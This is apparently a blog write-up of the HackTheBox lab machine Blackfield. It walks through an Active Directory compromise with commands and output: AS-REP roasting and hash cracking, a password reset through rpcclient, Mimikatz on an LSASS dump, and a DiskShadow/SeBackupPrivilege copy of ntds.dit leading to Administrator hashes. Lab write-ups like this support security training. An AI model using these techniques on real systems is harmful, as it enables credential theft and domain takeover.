HackTheBox Blackfield Writeup – 10.10.10.192
Welcome back fellow h*ckers. It has been a while since HackTheBox released a hard Windows machine, the last was Multimaster around first week of March. Early this week, HTB released another Windows machine Blackfield made by Aas (@aas_s3curity) – the same developer who made the fantastic Akerva Fortress.
As always I publish my HackTheBox machines writeup after few days from the machine is released, here is the writeup of Blackfield (10.10.10.192).
Machine: Blackfield
OS: Windows
Difficulty: Hard
Points: 40
IP: 10.10.10.192

Introduction
The machine Blackfield is all about enumerating. The machine was designed to be like a real-life machine so the attacker can enjoy his ride. Automated tool are required to use, else one will not be able to solve some critical parts – especially the TGT cracking, resetting passwords etc. A bit of frustrating during the last part if you have never been worked on capturing VSS DISKSHADOW on Windows machines. The Xen Endgame last flag (Owned) has a similar approach to root like this machine.
Let us start.
Enumeration
As always, let us update the hosts file with the machine IP and get started with NMAP scanning.
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-06-07 12:42:29Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=6/7%Time=5EDC7D61%P=x86_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\x
SF:04bind\0\0\x10\0\x03");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 7h03m50s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-06-07T12:44:55
|_ start_date: N/A
TRACEROUTE (using port 53/tcp)
HOP RTT ADDRESS
1 142.35 ms 10.10.14.1
2 142.73 ms 10.10.10.192
NSE: Script Post-scanning.
The NAMP found a number of open ports, which is pretty common in Windows machines. As you can see, we have ports 88,135,389,445,3268 and 53 are open. As we see the machine hosts SMB, let us look into it.
SMB Enumeration
SMB has a number of shares, however most of them are available for privileged users. The profiles$ share is open for all, upon checking I found many empty directories which either deliberately left empty or I need credentials to see the contents.
# root @ ns09 in ~/htb/Blackfield [14:10:39]
$ smbclient -L blackfield.htb
Enter WORKGROUP\root's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
forensic Disk Forensic / Audit share.
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
profiles$ Disk
SYSVOL Disk Logon server share
SMB1 disabled -- no workgroup available
# root @ ns09 in ~/htb/Blackfield [14:10:49]
$ smbclient //blackfield.htb/profiles$
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Wed Jun 3 19:47:12 2020
.. D 0 Wed Jun 3 19:47:12 2020
AAlleni D 0 Wed Jun 3 19:47:11 2020
ATwardowski D 0 Wed Jun 3 19:47:11 2020
audit2020 D 0 Wed Jun 3 19:47:11 2020
AWangenheim D 0 Wed Jun 3 19:47:11 2020
------SNIP-------
ZMiick D 0 Wed Jun 3 19:47:12 2020
ZScozzari D 0 Wed Jun 3 19:47:12 2020
ZTimofeeff D 0 Wed Jun 3 19:47:12 2020
ZWausik D 0 Wed Jun 3 19:47:12 2020
7846143 blocks of size 4096. 3884076 blocks available
smb: \>
Finding Kerberos Tickets
After a while I realized that the profiles could be usernames in the active directory. So I can try to find the Ticket Granting Ticket (TGT). The procedure to obtain TGT is straightforward using GetNPUsers python tool. I made a list of usernames obtained from the SMBClient tool and pasted them into text file and named it “users.txt”.
# root @ ns09 in ~/htb/Blackfield [14:43:58] C:1
$ GetNPUsers.py blackfield.local/ -dc-ip 10.10.10.192 -usersfile users.txt -no-pass
Impacket v0.9.22.dev1+20200520.120526.3f1e7ddd - Copyright 2020 SecureAuth Corporation
[-] User audit2020 doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$support@BLACKFIELD.LOCAL:85f849011618036b9b4e864f9f04fd9b$a12ae350cf7a684466455b6251dda9bb99fd21f39dc32e5d2a9a5b9bf875719cd122dbbb152310693d2d8d73a2d16dbe5b065aaee8aae57467d24566fb1b77522182f3ade60c7b993c68d753e8f02e047dbaeca5fec51b42333dd1109c10ebee7103efc94b8d06763e2f649e159245b520b5394cf1aeae540d409d09720f787f44dcd420e012b8ffdf277e4b2db54d62731e4471302eb626bfee0a804dd2e0399b9bf8769428a4801cd7ed358bd095715ca7d4a036a47fb601841fb5fe036ff955dc14a14ea3f66d8b8c6f9229e38b26d02603e01d9a92aa74f02812a76102ce199e27ccac0225cbe0b547014123a8e3c9b37b7e
[-] User svc_backup doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
# root @ ns09 in ~/htb/Blackfield [14:53:27] $
GetNPUsers tool took some time and back with TGT hash of a user called “support@BLACKFIELD.LOCAL “, possibly a tech support user. As well, another two legit usernames audit2020 and svc_backup. It looked like both these users shall help me in the next steps, so I made a note of them.
Crack The Kerberos Ticket Using John
Now that I have a hash of user support, I went ahead and used John to crack the hash using RockYou as wordlist. Within a few minutes, John cracked the hash.
# root @ ns09 in ~/htb/Blackfield [14:56:11]
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
#00^*******t ($krb5asrep$23$support@BLACKFIELD.LOCAL)
1g 0:00:00:43 DONE (2020-06-08 14:59) 0.02288g/s 328031p/s 328031c/s 328031C/s #1ByNature..#*burberry#*1990
Use the "--show" option to display all of the cracked passwords reliably
Session completed
# root @ ns09 in ~/htb/Blackfield [14:59:17]
$
RPCClient – A Tool for executing client side MS-RPC functions
Having the credentials for the user support I tried to log in to SMB shares, but Support was not allowed to access any of them. The next moment I was in the HTB Support Forum looking for hints; and that visit was fruitful. I come to know that the user support@blackfield.local can change user’s password. And the only thing I need is a really simple tool called “RPCClient”. This tool is part of SMBSuit. To change the user credentials I need to run the following command.
rpcclient [-A authfile] [-c <command string>] [-d debuglevel] [-l logdir] [-N] [-s <smb config file>] [-U username[%password]] [-W workgroup] [-I destinationIP] {server}
As I have only one user left with me, I decided to use it against the user Audit2020. I initially wasn’t able to change and realized immediately that the strong password policy was implemented by the system administrator. I was able to change the password when I used Alphanumeric characters and a special character in the password.
# root @ ns09 in ~/htb/Blackfield [20:07:44]
$ rpcclient -U support //10.10.10.192
Enter WORKGROUP\support's password:
rpcclient $> setuserinfo2 [user] 23 '[complex-password]
----
rpcclient $> setuserinfo2 audit2020 23 'Abc@1234!'
If you ask me why 23 number?, The SAMPR_USER_INTERNAL4_INFORMATION structure holds all attributes of a user, along with an encrypted password. Ref: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN
After resetting the password of the user Audit2020, first thing I did was to log in to SMB. I saw a share Forensic earlier, so I know Auditor should ave access to this and my wild guess was correct, I was able to access to the share Forensic and here what it looked like.





I started to recon the directories inside the forensic folder, after spending sometime and reviewing the files, the folder memory_analysis draw my attention. The folder contained the dump of system files , memory dumps, ServerManagerMMC, SIHost files etc. The file Lsass.DMP seemed interesting. The lsass.exe or Local Security Authority Subsystem Service is responsible for enforcing the security policy on the Windows Server system or alike.





Using MimiKatz To Dump Hash from LSASS.DMP
I know from my experience the LSASS.DMP could contain hashed credentials in the memory. The easiest way to extract it using Mimikatz. I moved the dumped files to my Windows host machine and used the Mimikatz to get the hash. The hash I found for the user svc_backup who I found in my previous enumeration.





Evil WinRM
Having svc_backup user’s credentials in hash, without wasting time, I logged in to the system successfully. The use’s flag was found in the svc_backup’s desktop, I grabbed it immediately.





Privilege Escalation
After successful login and obtaining the user’s flag, I execute whoami to get privilege information and as expected the user svc_backup is member of BUILTIN\Backup Operators group. Some special privileges like SeBackupPrivilege and SeRestorePrivilege are assigned, he’s not belonged to any administrator group, so his privileges are limited though.





As I found the privileges details, I was almost certain that this machine’s rooting would be similar to the Xen Endgame Last flag. In the Xen endgame you have a user backup-svc and you need to privesc to domain administrator. The user in Xen as well had the same privileges. What I did in the Xen was I used the DiskShadow command from the RDP’s command prompt and made a snapshot of C:/ and copy it to a temp location and then download it to my local machine and get the Administrator hash.
Preparing the System Snapshot Using Diskshadow Command
However, in Blackfield I have a small issue, I’m having PowerShell shell, I might not be able to run all Windows commands from the PowerShell (maybe possible, but some work involved and I might need time to play arround). After some Googling and reading, I understood that I could run DiskShadow with a set of commands using a DiskShadow script file. Ref: https://pentestlab.blog/tag/diskshadow/.
I prepared my script file and upload it to a temporary folder that I created under C:drive.
DiskShadow.txt:
Note: I add the end character (#)at each line because for some reason, I was not able to execute the command. This as well works by adding an extra space after each last character.
SET CONTEXT PERSISTENT NOWRITERS#
add volume c: alias snapshot#
create#
expose %snapshot% z:#










It is worth to note that, the current privilege of svc_backup says SeBackupPrivilege is enabled, but system security shall not allow me to dump sensitive system files like ntds.dit, I need to impersonate a backup software and use Win32 API calls to copy it on an accessible folder.
To achieve this, I need a couple of dll files that I previously used in the XEN Endgame:
- SeBackupPrivilegeUtils.dll
- SeBackupPrivilegeCmdLets.dll
I upload two dlls to temp folder and used PowerShell Import-Module to load them to memory. After this step, everything looks ok now.





Once I’m ready with privileges and disk shadow script, I fire-up the disk shadow command and the snapshot was prepared inside a new draw, and K:/ with name “snapshot”. I was able to access in the folder called “snapshot”.





*Evil-WinRM* PS C:\> cd k:
*Evil-WinRM* PS k:\> dir
Directory: k:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/26/2020 5:38 PM PerfLogs
d----- 6/3/2020 9:47 AM profiles
d-r--- 3/19/2020 11:08 AM Program Files
d----- 2/1/2020 11:05 AM Program Files (x86)
d----- 6/11/2020 12:00 PM temp
d-r--- 6/11/2020 11:58 AM Users
d----- 5/28/2020 9:34 AM Windows
*Evil-WinRM* PS k:\> cd Windows/NTDS/
*Evil-WinRM* PS k:\Windows\NTDS> dir
Directory: k:\Windows\NTDS
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/6/2020 8:35 AM 8192 edb.chk
-a---- 6/11/2020 11:57 AM 10485760 edb.log
-a---- 2/23/2020 9:41 AM 10485760 edb00003.log
-a---- 2/23/2020 9:41 AM 10485760 edb00004.log
-a---- 2/23/2020 9:41 AM 10485760 edb00005.log
-a---- 2/23/2020 3:13 AM 10485760 edbres00001.jrs
-a---- 2/23/2020 3:13 AM 10485760 edbres00002.jrs
-a---- 2/23/2020 9:42 AM 10485760 edbtmp.log
-a---- 6/11/2020 11:53 AM 18874368 ntds.dit
-a---- 6/11/2020 11:53 AM 16384 ntds.jfm
-a---- 6/11/2020 11:53 AM 434176 temp.edb
*Evil-WinRM* PS k:\Windows\NTDS>
As I confirmed the snapshot of the system is ready with required files, I copied the file ntds.dit to the temporary folder I created under c:/. I as well, made a dump of registry local system and download both files my Kali machine. It was not a smooth copy, my connection was disconnected several times, the machine was not stable at one moment.





Once the download is completed I run SecretsDump.py and got Administrator hash.





Getting The Root
As soon as the Administrator hash was dumped, I logged in to the system and Administrator using Evil-WinRM again and obtained the root flag.





I found a note on administrator’s desktop saying the files been encrypted, not sure what was that, but the file wasnt encrypted and root flag was in plain txt.
Mates,
After the domain compromise and computer forensic last week, auditors advised us to:
- change every passwords -- Done.
- change krbtgt password twice -- Done.
- disable auditor's account (audit2020) -- KO.
- use nominative domain admin accounts instead of this one -- KO.
We will probably have to backup & restore things later.
- Mike.
PS: Because the audit report is sensitive, I have encrypted it on the desktop (root.txt
That’s it and here I owned the machine. Thank you for dropping by and reading. See you soon. Planning to work on J.E.T Fortress this weekend.
References
- https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf
- https://attack.mitre.org/techniques/T1003/
- https://en.hackndo.com/remote-lsass-dump-passwords/
- https://www.ibm.com/support/pages/capturing-vss-diskshadow-command-outputs-file
- https://pentestlab.blog/tag/diskshadow/
- https://rstforums.com/forum/profile/3859-nytro/content/page/4/
- https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN